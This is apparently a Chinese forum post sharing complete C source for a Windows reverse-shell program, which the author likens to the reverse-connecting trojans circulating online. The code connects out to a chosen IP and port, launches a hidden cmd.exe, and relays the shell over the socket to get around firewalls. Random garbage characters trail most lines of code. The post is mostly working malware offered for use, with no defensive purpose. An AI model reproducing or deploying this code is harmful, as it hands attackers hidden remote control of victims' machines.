这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zAs&%OjG
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/* ============================== KE.Dt
Rebound port in Windows NT NZk&JND
By wind,2006/7 b9Y_!Qe
===============================*/ - $JO8'TP
#include >w.'KR0L
#include `T"rG}c
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#pragma comment(lib,"wsock32.lib") *HE^1IEl
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void OutputShell(); 8>N wCjN
SOCKET sClient; x<ax9{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M2@;RZ(|
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void main(int argc,char **argv) |~K(F<;j
{ oM,- VUr
WSADATA stWsaData; iW;i!,
int nRet; 5~+XZA#2
SOCKADDR_IN stSaiClient,stSaiServer; cin2>3Z$
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if(argc != 3) \Q&,ISO\
{ %8mm Hh
printf("Useage:\n\rRebound DestIP DestPort\n"); VWi2(@R^
return;
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} T3N"CUk
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WSAStartup(MAKEWORD(2,2),&stWsaData); +e P.s_t
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2YOKM#N]
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stSaiClient.sin_family = AF_INET; DlTR|(AL
stSaiClient.sin_port = htons(0); w?LrJ37u
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *:hyY!x
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4(cJ^]wb ^
{ Z4hLdHo_
printf("Bind Socket Failed!\n"); vl:J40Kfn
return; s8<gK.atl
} 4w$_]ke
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stSaiServer.sin_family = AF_INET; #E$X,[ZFo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }Hcx=}j
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^6;V}2>v}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @T:faJ5\'
{ B_^]C9C|
printf("Connect Error!"); x,8<tSW)Z
return; #=,imsW)
} SO{p ;g
OutputShell(); D WiBG
}
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void OutputShell() 1S:|3W
{ SJ?)%[(T
char szBuff[1024]; *>q/WLR
SECURITY_ATTRIBUTES stSecurityAttributes; sZhMa>
OSVERSIONINFO stOsversionInfo; ^3]UZ@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a|_p,_
STARTUPINFO stStartupInfo; 9YN?
char *szShell; @jy41eIo
PROCESS_INFORMATION stProcessInformation; K#mOSY;}
unsigned long lBytesRead; gfa[4
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _\8qwDg"#e
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v?:: |{
stSecurityAttributes.lpSecurityDescriptor = 0; oPQtGl p
stSecurityAttributes.bInheritHandle = TRUE; y$W|~ H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y&.UIosWb
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {b)~V3rsY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Vb|#MNf)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZC0-wr\
stStartupInfo.wShowWindow = SW_HIDE; :aAEJ
stStartupInfo.hStdInput = hReadPipe; `#mK*Buem}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oG oK,
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GetVersionEx(&stOsversionInfo); )_7>nuQ6
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switch(stOsversionInfo.dwPlatformId) Ms^dRe)
{ mpw~hW0-
case 1: ZWUP^V
szShell = "command.com"; ^jE8+h
break; W"q@Qa`Bm
default: *OjKcs
szShell = "cmd.exe"; 4Xj4|Rw%
break; GW^,g@%C
} b~m2tC=AW
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1bnBji
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send(sClient,szMsg,77,0); iq$$+y,
while(1) ,m3e?j@;r
{ -~{c
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6xK[34~6
if(lBytesRead) <Zb/
{ ,:Z^$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O[^%{'
send(sClient,szBuff,lBytesRead,0); oqd;6[%G
} _qwQ;!9
else YwEpy(}hJm
{ %ysZ5:X
lBytesRead=recv(sClient,szBuff,1024,0); CY:d`4
if(lBytesRead<=0) break; YZf6|
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &[vw 0N-
} (2ot5x}`j
} Sjj>#}U
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return; M~e0lg8
}